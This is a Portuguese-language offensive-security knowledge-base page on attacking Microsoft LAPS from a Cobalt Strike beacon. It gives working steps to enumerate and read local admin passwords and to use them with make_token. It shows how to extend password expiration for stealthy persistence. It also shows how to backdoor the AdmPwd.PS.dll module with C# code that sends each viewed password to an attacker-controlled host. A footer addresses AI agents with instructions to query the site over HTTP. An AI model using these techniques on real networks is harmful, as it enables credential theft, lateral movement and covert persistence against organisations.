# LAPS (Local Administrator Password Solution)

### LAPS

Quando uma empresa usa uma imagem padrão para todas as máquinas, pode acabar gerando uma única senha para a conta de Administrador local, então caso essa senha seja comprometida, é possível se mover lateralmente com facilidade. LAPS é uma solução da Microsoft para gerenciar as credenciais de uma conta de administrador local em cada máquina, seja o RID 500 padrão ou uma conta personalizada. Ele garante que a senha de cada conta seja diferente, aleatória e alterada automaticamente de acordo com um cronograma definido. A permissão para solicitar e redefinir as credenciais pode ser delegada, o que também é auditável. Em um resumo rápido, o LAPS funciona da seguinte maneira:

* O Schema do Active Directory é estendido e adiciona duas novas propriedades aos objetos do computador, chamadas `ms-Mcs-AdmPwd` e `ms-Mcs-AdmPwdExpirationTime`
* Por padrão, a DACL em `ms-Mcs-AdmPwd` concede acesso de leitura apenas aos administradores de Domínio. Cada objeto de computador recebe permissão para atualizar essas propriedades em si mesmo
* Os direitos de leitura do `AdmPwd` podem ser delegados a outros principais (usuários, grupos, etc.), o que normalmente é feito no nível da OU
* Um novo modelo de GPO é instalado e é usado para implantar a configuração LAPS em máquinas (políticas diferentes podem ser aplicadas em OUs diferentes)
* O cliente LAPS também é instalado em todas as máquinas (normalmente distribuído via GPO ou solução de gerenciamento de software de terceiros)
* Quando uma máquina executa um `gpupdate`, ela verifica a propriedade `AdmPwdExpirationTime` em seu próprio objeto de computador no AD. Se o tempo tiver decorrido, ele gerará uma nova senha (com base na política LAPS) e a definirá na propriedade `ms-Mcs-AdmPwd`

Existem alguns métodos para detectar a presença de LAPS. Uma das maneiras é verificando a existência do arquivo `C:\Program Files\LAPS\CSE\AdmPwd.dll`. Outra maneira é procurando GPO's que tenham "LAPS" (ou algum termo semelhante) em seu nome. Guarde os valores da saída do comando abaixo para utilizar em comando futuros.

```bash
powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
```

Assim como objetos de computador onde a propriedade `ms-Mcs-AdmPwdExpirationTime` não é nula (qualquer usuário do Domínio pode ler esta propriedade).

```bash
powershell Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName
```

Se localizarmos a GPO correta, poderemos baixar a configuração LAPS do `gpcfilesyspath`

```bash
ls <gpcfilesyspath>\Machine
download <gpcfilesyspath>\Machine\Registry.pol
```

Agora vá no Menu `View` > `Downloads`, selecione `Resgitry.pol` e depois clique em `Sync Files`. Esse arquivo não é legível, porém podemos utilizar o cmdlet `Parse-PolFile` do pacote `GPRegistryPolicyParser` para converter esse arquivo em um formato legível. Execute no Powershell, fora do CS

```bash
Parse-PolFile <C:\path\to\Registry.pol>
```

Com a saída do comando acima, podemos ver o seguintes itens (olhe o nome do campo `ValueName` o seu valor em `ValueData`):

* A complexidade de caracteres da senha. O valor 3 significa que é necessário ter letras maiúsculas, minúsculas e números
* O comprimento da senha (quantidade de caracteres)
* Em quantos dias a senha são alteradas
* O nome da conta gerenciada do LAPS
* Se o valor for 1, significa que está desativada a proteção contra expiração de senha (mais detalhes a seguir)

### Lendo ms-Mcs-AdmPwd

Verificando permissão para ler o atributo `ms-Mcs-AdmPwd`, lendo sua DACL em cada objeto do computador

```bash
powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier
```

Agora execute o comando abaixo para saber de quem são o(s) SID(s) encontrados

```bash
powershell ConvertFrom-SID <SID>
```

Procurando em cada OU, grupos de domínio que tenham acesso de leitura delegado

```bash
powershell-import <C:\path\to\LAPSToolkit\LAPSToolkit.ps1>
powershell Find-LAPSDelegatedGroups
```

Indo um pouco mais fundo e consultando em cada computador, usuários que tenham `All Extended Rights (Todos os direitos estendidos)`. Isso revelará todos os usuários que podem ler o atributo sem que ele tenha sido especificamente delegado a eles.

```bash
powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainComputer -Identity <hostname> -Properties ms-Mcs-AdmPwd
```

Com o resultado do comando acima, utilize o `make_token` para aproveitá-lo

```bash
make_token .\LapsAdmin <ms-mcs-admpwd>
```

### Proteção de Expiração de Senha

Existe uma configuração de política LAPS chamada `Do not allow password expiration time longer than required by policy (Não permitir tempo de expiração de senha maior que o exigido pela política)`, que em resumo é a configuração `PwdExpirationProtectionEnabled` que lemos no arquivo `Registry.pol`. Quando habilitada, esta política impede que um usuário ou computador defina a data de expiração de uma senha além da idade da senha especificada na configuração `PasswordAgeDays`. Também lemos no `Registry.pol` que isso está definido para 30 dias. Por exemplo, se uma senha for definida em 1º de janeiro de 2023, sua expiração será em 31 de janeiro de 2023 (30 dias). Se a proteção contra expiração de senha estiver habilitada e tentarmos modificar sua data de expiração além de 31 de janeiro, isso acionaria uma redefinição automática dessa senha. Se a configuração de política for deixada `not configured` no GPO, a proteção contra expiração de senha será desabilitada por padrão. Quando conseguirmos comprometer uma máquina utilizando sua senha LAPS, podemos definir sua expiração no futuro como forma de persistência. A data de expiração é um carimbo de data/hora de 18 dígitos calculado como o número de intervalos de 100 nanossegundos decorridos desde 1º de janeiro de 1601.

```bash
powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainComputer -Identity <hostname> -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
```

Pegue o valor de `ms-mcs-admpwdexpirationtime` e converta em um valor que seja legível, utilizando o site `epochconverter` (llink no final da página). Para alterarmos o valor de `ms-mcs-admpwdexpirationtime`, primeiro precisamos elevar nosso acesso para SYSTEM e depois executar para alterar a data. O valor 136156862710000000 é equivalente ao dia 18/06/2032 (valor escolhido aleatoriamente). Altere para a data que preferir. Ao executar o comando abaixo, pode ser que receba uma mensagem poluída, parecendo ser até mesmo uma mensagem de erro. Porém atente-se ao final, onde deve ter escrito algo como: `Setting 'ms-Mcs-AdmPwdExpirationTime' to '136156862710000000' for object '<hostname>$`.

```bash
powershell Set-DomainObject -Identity <hostname> -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136156862710000000'} -Verbose
```

Não deixe uma senha muito longe da data atual, pois administradores podem ver esse senha e suspeitar de algo. É possível ver esse senha através do comando abaixo (comando nativo do Powershell).

```bash
Get-AdmPwdPassword -ComputerName <hostname> | fl
```

###

### Backdoor com LAPS

Existem algumas técnicas que podemos aproveitar para fazer backdoor nas ferramentas administrativas do LAPS e obter uma cópia das senhas quando visualizadas por um administrador. Se os módulos do cmdlet `Get-AdmPwdPassword` estiveram instalados na máquina, podemos encontrá-los em `C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS`.

```bash
ls C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS
```

Caso não o tenha instalado, execute o comando abaixo para realizar a sua instalação

```bash
Install-Module -Name AdmPwd.PS
```

Como o PowerShell utiliza intensamente o .NET Framework, as DLLs aqui são escritas em C#, o que as torna bastante fáceis de baixar, modificar e recarregar. Baixe os arquivos `AdmPwd.PS.dll` e `AdmPwd.Utils.dll` para a máquina atacante e abra `AdmPwd.PS.dll` com `dnSpy`. Use o Assembly Explorer para detalhar a DLL, os namespaces e as classes até encontrar o método `GetPassword`, que provavelmente esteja em `AdmPwd.PS` > `AdmPwd.PS.dll` > `AdmPwd.PS` > `GetPassword`. Podemos ver então que, o método `DirectoryUtils.GetPasswordInfo` retorna o objeto `PasswordInfo`. Clicando em cima dos nomes, o dnSpy irá no levar para a definição da Classe, e realizando uma pesquisa/leitura no código, é possível ver a senha em texto plano. Vamos modificar o método `GetPassword`, clicando o botão direito em algum lugar vazio do código-fonte do método, e em seguida clicando em `Edit Method`. Caso não possua, inclua `using System.Net` no cabeçalho do arquivo. Após a linha 18, onde temos o conteúdo `base.WriteObject(passwordInfo);`, adicione o trecho de código abaixo.

```clike
using (var client = new WebClient())
{
	client.BaseAddress = "http://<ip-cs>";
	try
	{
		client.DownloadString("?computer=" + passwordInfo.ComputerName + "&pass=" + passwordInfo.Password);
	}
	catch
	{
	}
}
```

Agora clique em `Compile` (no canto inferior da janela), depois vá no Menu `File` > `Save Module` e salve o arquivo (pode salvar por cima do arquivo original). Faça o upload desse arquivo modificado.

```bash
cd C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS\
upload <C:\path\to\AdmPwd.PS.dll>
```

Uma desvantagem dessa tática é que ela quebrará a assinatura digital da DLL, mas não impedirá que o Powershell a utilize.

```bash
powershell Get-AuthenticodeSignature *.dll
```

Com um usuário devidamente privilegiado, capture a senha

```bash
Get-AdmPwdPassword -ComputerName <hostname-alvo> | fl
```

###

### Sites

```bash
# LAPSToolkit
https://github.com/leoloobeek/LAPSToolkit

# Epoch Converter
https://www.epochconverter.com/ldap
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/tools/cobalt-strike/laps-local-administrator-password-solution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
